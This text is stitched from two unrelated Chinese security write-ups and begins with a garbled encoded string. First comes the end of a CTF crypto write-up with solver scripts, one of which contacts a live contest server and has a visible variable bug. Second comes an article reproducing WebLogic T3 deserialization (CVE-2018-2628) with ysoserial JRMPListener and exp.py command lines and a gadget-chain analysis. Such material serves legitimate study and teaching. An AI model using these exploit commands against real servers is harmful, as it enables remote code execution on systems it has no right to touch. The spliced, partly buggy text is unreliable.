MMMuMHMNNyJLJKMMJPJKJMMMJLIfMMJPJLMHIxJKMHJGMHIqMIMHJJJHIvJNMIJHJNJHMHJNMLMJMHJOJINe
最后就是逆那2个算法，或者直接爆破也行。我就直接爆破了。
得到flag
## Crypto
### 3dlight
这题自己也是莫名其妙做出来了，感觉方法可能不科学…
先把得到的密文转回三维列表lights，用ans暂存要还原的三维列表，初始值是2表示还没还原；
首先检查lights中的0，只要有0，自己和与它直接相连的都不会发光；
随后检查有没有8，有就代表它自己和它直接相连的都会发光；
再检查有没有在面上的7，有就代表它自己和它直接相连的都会发光；
最后检查有没有在棱上的6，有就代表它自己和它直接相连的都会发光；
然后就是无科学性地循环排除，简单来说检查已经找到（ans=0或1）并熄灭的灯的周围有没有大于2且没找到（ans =
2）的灯，如果正好等于中间的数值，就说明这些灯都是发光的；
在这些查找中，如果lights小于等于1且对应ans=2，那它肯定不发光并置ans=0；
最后脚本：
# coding=utf-8
c = "0303040201040402040202020102040204020002020504020503010406060400050403040607040104040203050604010501030002050502030303020102050404030302020505010502010201040502050302000306060105050102040705020306010105070602030404020508060303040303040606030304060403040504040202040506040006020305060605020504030305060301050302010404030203040302040603010205040608070201020304040607020001030302030403010403030202050502050605040405050307060604060603010604050405070502040303040507040104040404060703000504050406070301010404010306030103040202020504020403020205060301050603020606020105040203050704010203020405070501040202020407050203050503050705030303050305060301050503030202020305050303050502020305050506050103010303050706030203020306070806040303010202060602030205040303020203030404060501000303030301010203030504020206040302030502030503040102050405070302030305060607070405030301020606030304060302020303040505040405020100020101000101010304040101050402030504000105040302040502020504020203060402040502040405030204060201030605030405040102050404040402".decode('hex')
def str2arr(str):
return [[[ord(str[i*8*8+j*8+k]) for k in xrange(8)] for j in xrange(8)] for i in xrange(8)]
def arr2str(arr):
ret = ''
for i in xrange(8):
for j in xrange(8):
tmp = ''
for k in xrange(8):
tmp += str(arr[i][j][k])
ret += chr(int(tmp[::-1],2))
return ret
lights = str2arr(c)
ans = [[[2 for _ in xrange(8)] for _ in xrange(8)] for _ in xrange(8)]
dir = [[0, 0, 1], [0, 0, -1], [0, 1, 0], [0, -1, 0], [1, 0, 0], [-1, 0, 0]]
def check(x, y, z):
if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7:
return False
return True
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 0:
ans[i][j][k] = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
ans[i + x][j + y][k + z] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 8:
lights[i][j][k] = lights[i][j][k] - 2
ans[i][j][k] = 1
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 3
ans[i + x][j + y][k + z] = 1
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 7 and ((i == 0 and j != 0 and k !=0) or (i != 0 and j == 0 and k !=0) or (i != 0 and j != 0 and k ==0)):
lights[i][j][k] = lights[i][j][k] - 2
ans[i][j][k] = 1
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 3
ans[i + x][j + y][k + z] = 1
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 6 and ((i == 0 and j == 0 and k !=0) or (i != 0 and j == 0 and k ==0) or (i == 0 and j != 0 and k ==0)):
lights[i][j][k] = lights[i][j][k] - 2
ans[i][j][k] = 1
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 3
ans[i + x][j + y][k + z] = 1
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 0 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 0 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 0 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 1 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
flag = arr2str(ans)
print ''.join(flag[0::2][i] + flag[-1::-2][i] for i in xrange(32))
得到flag：
### rsa system
这题相对比较简单，就是自己可以构造padding，如果padding正好256字节就不会再填充，这样就可以利用
构造我们想要unpad，从256字节高字节开始逐字节爆破出flag，脚本：
# coding=utf-8
from pwn import *
n = 0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92F
e = 0x10001
s_box = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]
def pad(s):
ret = ['x00' for _ in range(256)]
for index, pos in enumerate(s_box):
ret[pos] = s[index]
return ''.join(ret)
def str2int(s):
return int(s.encode('hex'), 16)
def mul(x, y, z):
ret = 1
while y != 0:
if y & 1 != 0:
ret = (ret * x) % z
x = (x * x) % z
y >>= 1
return ret
flag = ""
num = 255
while len(flag) != 38:
p = remote("123.59.138.211", 23333)
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil(": ")
p.sendline(chr(num) * 218)
p.recvuntil("Success")
p.sendline("1")
p.recvuntil(": ")
s = 'x02' * num
p.sendline(s)
p.recvuntil("Success")
p.sendline("2")
p.recvuntil("0x")
br = int(r.recvline().replace("n",""),16)
for c in range(20,128):
if br == mul(str2int(pad(flag + chr(c) + s)), e, n):
flag += chr(c)
break
num = num - 1
p.close()
print flag
### advanced ecc
这题主要漏洞点在
那么我们可以利用返回的level1的C2和level2的C2与G爆破出r[0]-r[1]；
再利用level1的C1和level2的C1与K求出M就可以解密了，详见脚本：
# -*- coding: utf-8 -*-
def extended_gcd(a, b):
x, y = 0, 1
lastx, lasty = 1, 0
while b:
a, (q, b) = b, divmod(a, b)
x, lastx = lastx - q * x, x
y, lasty = lasty - q * y, y
return (a, lastx, lasty)
def modinv(a, m):
g, x, _ = extended_gcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
class Point:
def __init__(self, x, y):
self.x, self.y = x, y
def equals(self, p):
return (self.x == p.x and self.y == p.y)
class ECurve:
# y^2 = x^3 + ax + b mod p
def __init__(self, a, b, p):
self.a, self.b, self.p = a, b, p
# The method checks if the point is a valid point
# and satisfies 4a^3 + 27b^2 != 0
def check(self, p):
l = (p.y * p.y) % self.p
r = (p.x * p.x * p.x + self.a * p.x + self.b) % self.p
c = 4 * self.a * self.a * self.a + 27 * self.b * self.b
return l == r and c != 0
# Implements point addition P + Q
def add(self, p, q):
r = Point(0, 0)
if p.equals(r): return q
if q.equals(r): return p
# if P = Q
if p.equals(q):
if p.y != 0:
l = ((3 * p.x * p.x + self.a) % self.p * modinv(2 * p.y, self.p)) % self.p
r.x = (l * l - 2 * p.x) % self.p
r.y = (l * (p.x - r.x) - p.y) % self.p
# if P != Q
else:
if q.x - p.x != 0:
l = ((q.y - p.y) % self.p * modinv(q.x - p.x, self.p)) % self.p
r.x = (l * l - p.x - q.x) % self.p
r.y = (l * (p.x - r.x) - p.y) % self.p
return r
# Implements modular multiplication nP
def multiply(self, p, n):
ret = Point(0, 0)
while n > 0:
if n & 1 == 1:
ret = self.add(ret, p)
p = self.add(p, p)
n >>= 1
return ret
G = Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798, 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8)
K = Point(0xe05fc87bcf70996bedd04fefdf862c1a9d1be7c265aeaa01c064b26d885dbb48, 0xb2fc8bd045cc3927b9325dccdfdb0b31524e551bc41640a21578b72bd24d4f95)
flag = 0x666c61677b378bcf71e09c2de9093708ca2ce1770c1e92a4d998ebb303f3fe4ba2b4cd153cfb
C1 = Point(0xa4c7ad80c3786c06b864e227564eef0f62ac8846396bd60022d8f1361bfccd76, 0x4f1b975180cb7bc0d5f9727483a2c473f933db3996fd1b041fcb06885d40ebac)
C2 = Point(0x5b9f0eec2da107db668b2bc448ba8a321355c1e91a1144761a75a9995d4e7c9a, 0x5c4adca18aa1c00eac68d9ea5ba7f859cc3fc838c2758806e4b0c981b0541a36)
C3 = Point(0x91dfb73c4ebd8ec249fa933e4c6ccc6bcabb7c9b5bd3dae313deb7c77aa70820, 0xc5ed9e124105e5f2b6995300905482236074a89839a45c63e48b078de0a857ea)
C4 = Point(0x5f16bb008b865364af1d885efb7d823db081419a4dba8c7437caa4bc794b9d33, 0x785cba0e0774d699f5ec0b316f5754ad08304102fd111f66db9236664de4256b)
C5 = Point(0xa0f115089a833a6133a5512ca43b62e572ad3a7e410a6816fd0478bd4ac233f4, 0xb498d4d0015b76c953be21f5ec538f8f928ac2bdb7b0ab2fe40c671ced524216)
C6 = Point(0x4d70eeb520d304c8f2a3217808af2c425fd4632fad084d81f486248ade59750e, 0x52cb471ca6c46c2b9da2842b1a928c21417587c52fa07213807b961259e0af5b)
a = 0
b = 7
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
curve = ECurve(a, b, p)
"""
C2_ = curve.multiply(C2, 2)
CC = curve.add(C2_, Point(C4.x, curve.p - C4.y))
num = 419665
while num > 0:
if CC.x == curve.multiply(G, num).x:
print num
print CC.y , curve.multiply(G, num).y
#exit(0)
num = num - 1
"""
r0_r1 = 419665
C1_ = curve.multiply(C1, 2)
CC = curve.add(C1_, Point(C3.x, curve.p - C3.y))
M = curve.add(CC,Point(curve.multiply(K, r0_r1).x,curve.p - curve.multiply(K, r0_r1).y))
print hex(M.x ^ flag)[2:].replace("L","").decode('hex') | 社区文章 |
# 从WebLogicT3反序列化学习Java安全
## 0x01 漏洞复现
下载[vulnhub](https://github.com/vulhub/vulhub)环境，修改镜像内脚本，进行远程调试
首先利用`docker-compose up -d`，创建好对应镜像之后，使用同文件下的`exp`进行复现
原`docker`只对外开放了默认的`7001`端口，这里的`8055`是后来开放用于调试的端口，后面会说。
先使用`ysoserial`搭建一个本地的`JRMP`服务，具体命令如下：
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 "touch /tmp/temp"
这里需要记住`JRMP`监听端口后面要用
随后在利用本地的exp.py打，注意访问ip问题,这里使用的是局域网地址:
接着另起一个`shell`，使用以下命令：
python exp.py 192.168.42.192 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.192 8000 JRMPClient
随后会将`response`回显出来，我们进入镜像内部，查看文件是否创建
docker exec -it [容器ID] /bin/bash
文件已经成功创建，说明已经成功复现了。
## 配置远程调试环境
### 配置本地debug环境
为了保持本地环境与`docker`环境一致，所以我们可以使用`docker`内部的`jdk`版本,并将`weblogic`内部的`jar`包全部脱下来,记下`jdk`镜像所在路径和`jar`所在路径，如下图：
知道这两个路径之后，将他们从`docker`内部拷贝出来:
docker cp [容器名称(标签)]:/root/jdk [拷贝的目标路径]
docker cp [容器名称(标签)]:/root/Oracle/Middleware/wlserver_10.3 [拷贝的目标路径]
然后将`wlserver_10.3`中的所有`jar`包筛选出来，作为`idea`的库：
cp `find ./wlserver_10.3/ -name "*.jar"` ./dep
虽然这个命令会告警，但能将所有`jar`包复制下来，这里是将他们全部收在了`dep`目录下。
### 配置weblogic Debug
找到该目录下的`/root/Oracle/Middleware/user_projects/domains/base_domain/bin`的`startDomainEnv.sh`,添加如下两行代码：
debugFlag="true"
DEBUG_PORT="8055"
这里需要与下列sh脚本中的变量名保持一致，不一定使用上面两个变量名。
然后更改`docker-compose.yml`文件的内容，多开放一个`8055`端口，如下图：
然后利用下列命令进行容器重启：
docker restart [容器id]
这样我们之后就能够使用`idea`进行调试了。
### 配置IDEA
将我们复制出来的`jdk`作为启动环境
将我们复制出的对应包，作为库：
然后配置好远程调试：
然后启动如果你能看见这段话，说明已经可以远程调试了：
## 0x02 有关T3协议
### T3抓取流量环境配置
首先来观察一下正常的T3协议请求，利用如下代码进行本地`T3`通信的搭建：
Hello.class:
package com.ebounce.cn;
import java.rmi.RemoteException;
public interface Hello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
HelloImpl.class:
package com.ebounce.cn;
import java.rmi.RemoteException;
public class HelloImpl implements Hello {
@Override
public String sayHello() throws RemoteException{
return "Hello From Server";
}
}
Server.class:
package com.ebounce.cn;
import javax.naming.*;
import java.util.Hashtable;
public class Server {
public final static String WebLogicFactory="weblogic.jndi.WLInitialContextFactory";
private static Context getInitialContext() throws NamingException {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, WebLogicFactory);
env.put(Context.PROVIDER_URL,"t3://127.0.0.1:7001");
return new InitialContext(env);
}
public static void main(String[] args) {
try {
Context ctx = getInitialContext();
ctx.bind("HelloJNDI",new HelloImpl());
System.out.println("JNDI Created");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
Client.class:
package com.ebounce.cn;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public final static String WebLogicFactory = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext() throws NamingException{
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,WebLogicFactory);
env.put(Context.PROVIDER_URL,"t3://127.0.0.1:7001");
return new InitialContext(env);
}
public static void main(String[] args) {
try {
InitialContext ictx = getInitialContext();
Hello HelloObj = (Hello) ictx.lookup("HelloJNDI");
HelloObj.sayHello();
System.out.println("Get Hello From Server");
} catch (Exception e){
System.out.println(e.getMessage());
}
}
}
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.ebounce.cn</groupId>
<artifactId>java_one</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>com.ebounce.cn.Serverr</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
将其打包成`jar`后，将其放置你创建域的`lib`目录下，然后在对应位置启动该类。
然后就能在这里看到我们的`HelloJNDI`对象了：
记得运行`Client`时，将`wlserver/server/lib`目录作为库，直接运行`Client`成功得到预期回显。
### 利用T3协议攻击原理
再次运行`Chlient`程序，抓取相应的流量包，我们通过追踪TCP流观察整体过程：
首段报文个人认为是在交换服务器的信息，可能并不准确甚至错误，欢迎各位师傅指正。
最后一段报文：
分析流量包,可以清晰的观察出T3协议通信的整体过程：
接着我们将字节流转储为`HEX`看看在16进制字符上有什么特征：
* T3协议能够一次传输多个对象
* `T3`协议会传递序列化的Java对象:
前四个字节`00 00 06
d7`为`T3`数据包大小,而后面的部分`6501ffffffffffffffff000000720000ea600000001900b4b9859d4da090b3b35edb6bbb4d30302d9491391cb342fe027973720078720178720278700000000c00000002000000000000000300000001007070707070700000000c00000002000000000000000300000001007006fe010000`则为T3协议首包共有部分，随后紧接着就是跟的`java`序列化数据了。
整体来讲`T3`协议的示意图是这样的：
根据这个特征，在利用`T3`协议进行攻击时，只需要将客户端传输的数据其中一个对象，替换成为恶意对象，就能够实现攻击了，毕竟如果T3协议传输的数据是序列化数据，那么必定会在获得这些数据时进行反序列化，原理类似与于下图：
## 0x03 简单区别一下
我们知道`Java`安全之中，有相当多的概念，且概念之间还互有交叉，因此我们来区分一下这些概念：
### 最上层的概念
**JDNI**`(Java Directory and Naming
Interface)`，从英文名来看就知道`JNDI`实际上是个`API`,这个`API`的允许使用它的客户端，通过名称发现和查找数据，对于安全来讲，我们主要关注的是`JNDI`能够传递对象，这些对象存储在不同的服务中如`RMI远程方法调用`,`CORBA公共对象请求代理体系结构`，`LDAP轻型目录访问协议`。
而我们可以将`JDNI`理解成一个高度抽象的接口，能够接受不同服务的查询，统一利用`JNDI`内部，进行转换，具体对应哪个对象或者数据由`JNDI`下发给对应服务解决，我们只需要告诉他具体名称就行，如需要使用`RMI`时，传入字段为:`rmi://exampleIP/exampleName`的形式，告诉他我们需要找到`RMI`服务下的`exampleName`就行。
借用网上被传烂的图:
往下走就是几个我们常说的服务了：
**RMI** 远程方法调用，即不需要对象在我本地，我能够远程调用一个我本地不存在的对象中的方法，我们举个不是很恰当的例子：
我们假设有两家公司(A,B),他们分别跑着不同的`JAVA`应用，A公司想要使用B公司正在跑的一个X类里的方法，但因为B公司的X类设计是商业机密，因此B公司不愿意X类的源码给A公司，这个时候就可以使用`RMI`解决这个问题了。
感觉更科学一点的过程如下图，总之`RMI`就是解决远程对象调用的问题：
那么`RMI RCE`又是怎么做到的呢？这里有两个`tip`:
1. `RMI`传输依赖于反序列化
2. `RMI`支持动态加载远程类。
第一条不用多说，第二条主要是考虑到，`RMI`服务端，可能没有`RMI`客户端请求的参数类，服务端会先从本地找，如果没有且双方配置条件允许，`RMI`服务端会接受`RMI`客户端传来的`java.rmi.server.codebase`中的`url(http,https,ftp等)`均可，尝试从服务端传来的`url`，去加载`.class`，反之亦然。
因此这里延伸出来两个思路
1. 继承服务端给定方法的参数类，从中构造Java反序列化。
2. 利用动态加载远程类的特性,迫使服务器加载远程恶意类。
## 0x04 漏洞分析
### 触发反序列化
`Weblogic`使用`T3`协议，而`T3`协议实际上相当于`Weblogic`自己实现的`RMI`,它和`RMI`有着类似的特点，他是基于序列化和反序列化的。而T3协议会对传输的序列化内容进行反序列化，所以最后能够实现远程恶意类的加载并`RCE`。
编号`CVE-2018-2628`的漏洞，实际上是之前T3反序列化漏洞的升级版，当时修复只添加了`RMI`中的一个类到黑名单，那么只需要绕过这个黑名单即可。
定位问题类出现的`jar`包为`wlthint3client.jar`，`idea`中打开`jar`，找到问题类`weblogic.rjvm.InboundMsgAbbrev.class`
~~(后面和网上分析比对了一下，发现自己调的是没有补丁的版本...)~~
反序列化的终点：
这里会判断传入的内容是`ascii`码值，还是字节流，来判断用什么方式读取，由于`ServerChannelInputStream`这个类继承自`ObjectInputStream`,所以这里会直接调用`ObjectInputStream`的`readObject`方法，继续跟发现函数体如下：
实际上调用的是，下面这个函数体，就是普普通通的`readObject`方法，从而实现反序列化
返回对应类的`resolveClass`如下：
而这里的`super.resolveClass`为`jdk1.6`包中的内容，利用`forName`通过类名找到对应的类并返回对应类
我们可以动态调试一下观察这个过程，我们发现这里`resolveClass`函数得到的类名和之前抓到的流量包，顺序是一致的，如下图：
对应下来会发现其中出现的包名顺序是第一个包中的内容，这也说明了`T3`协议确实能够进行反序列化，然后是按照我们传入的包的顺序进行反序列化的，并且最后当第一个包反序列化完成之后，第二个包开始反序列化时，就开始反序列化一些和`RMI`有关的包了
~~(为了防止gif太大，跳的比较快，请见谅)~~ 。这时候我们可以观察一下函数栈：
通过函数栈来分析`weblogic
T3`协议反序列化过程，我们发现整体过程是`weblogic.socket`，从`request`中读取字节流传给`weblogic.rjvm`到`InboundMsgAbbrev`中进行逐个字节的读取，并将其传给`readObject`函数进行反序列化，前文说了`T3`协议能够一次传递大量数据(对象)，因此这里也会将传递的字节流逐一反序列化，而`ysoserial`中的`CC1`链涉及到的包，刚好`weblogic`里面也有从而造成了反序列漏洞。
### 分析ysoserial的JRMP模块
我们来看看`POC`的两条命令：
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 "touch /tmp/hello"
python exp.py 192.168.42.167 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.167 7777 JRMPClient
这里进行了两步操作，一个是在本地启动了一个`JRMPListener`，同时又启动了一个`JRMPClient`服务去使用我们刚刚建立在`7777`端口的`JRMP`服务，
由于之前已经分析过`CC1`利用链了，这里不再赘述，我们来看看其他组件
#### ysoserial.payloads.JRMPClient分析
此处就是`exp.py`调用的`payload`了，我们注意到，在使用`payload`时,这里`exp`会输出调用的命令:
这里我们从`ysoserial`工具的使用上，，很容易知道其实这里调用的是`ysoserial.payloads.JRMPListener`,根据作者给出的利用链去分析为:
/*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
*/
主要源码如下：
这里看着和`RMI`的RCE非常类似，这里序列化的起点在`RemoteObjectInvocationHandler`中，该类不存在`readObject`方法，但继承自`RemoteObject`类
`RemoteObject`类存在`readObject`方法如下：
此处的`ref`由于创建时设置好了为`UnicastRef`类,此处不为`null`，走`else`下去到
也就是到反序列化链条的第一步`UnicastRef.readExternal(ObjectInput)`,该方法体如下：
继续跟：
中间省略掉刚刚重复的步骤，最后走入`DGCClient$EndpointEntry.makeDirtyCall`
最后会尝试根据我们给出的远程地址进行连接：
#### ysoserial.exploit.JRMPListener分析
在刚启动这个组件时会根据我们的命令行参数进行初始化操作：
